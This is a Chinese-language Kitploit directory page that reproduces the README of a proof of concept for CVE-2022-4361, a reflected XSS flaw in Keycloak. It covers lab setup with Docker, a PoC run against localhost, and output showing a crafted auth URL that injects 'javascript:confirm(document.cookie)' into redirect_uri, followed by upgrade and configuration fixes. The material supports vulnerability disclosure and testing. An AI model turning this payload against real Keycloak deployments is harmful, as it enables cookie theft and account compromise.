Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-4361 — 针对 https://nvd.nist.gov/vuln/detail/CVE-2022-4361 的概念验证 | Kitploit
工具/GitHubGitHub/faccimatteo/cve-2022-4361
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证API 安全
GitHubfaccimatteo/cve-2022-4361

CVE-2022-4361

针对 https://nvd.nist.gov/vuln/detail/CVE-2022-4361 的概念验证

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-4361

描述

此仓库包含针对 CVE-2022-4361 的概念验证 (PoC)。
所有功劳归功于该漏洞的原始发现者 mulliken;

重要提示:此 PoC 并不完整,因为它未覆盖 SAML 认证协议中的 AssertionConsumerServiceURL 值的情况。目前仅覆盖了 OIDC 情况。

步骤

  1. 克隆此仓库。
root@kitploit:~
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361 
  1. 使用 Docker Compose 设置一个易受攻击的 Keycloak 版本。
root@kitploit:~
docker compose up -d

等待基础设施可用并可访问。

由于在此 PoC 中 Keycloak 未与任何 Web 应用程序集成,因此需要指定完整的 Keycloak 认证 URL(一旦正确设置了测试领域)。

在此测试环境中,可以通过以下 URL 测试该漏洞。

root@kitploit:~
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...

将打开一个带有恶意登录页面的浏览器窗口,如下面的截图所示。

alt text

一旦受害者提供有效的凭据(可在 keycloak-config/test-realm.json 中找到)并点击 Sign In 按钮,反射型 XSS 攻击就会触发。
值得注意的是,即使受害者已登录到应用程序,攻击也能成功。

alt text

修复

  • 确保将 Keycloak 升级到版本 > 21.1.1。
  • 此外,确保在生产环境中永远不要为 redirect_uri 设置通配符 * 值。

待办事项

目前,此 PoC 仅覆盖了使用 OIDC 认证流程配置 Keycloak 的情况。
在未来的部署中,将引入 SAML 认证协议。

下载工具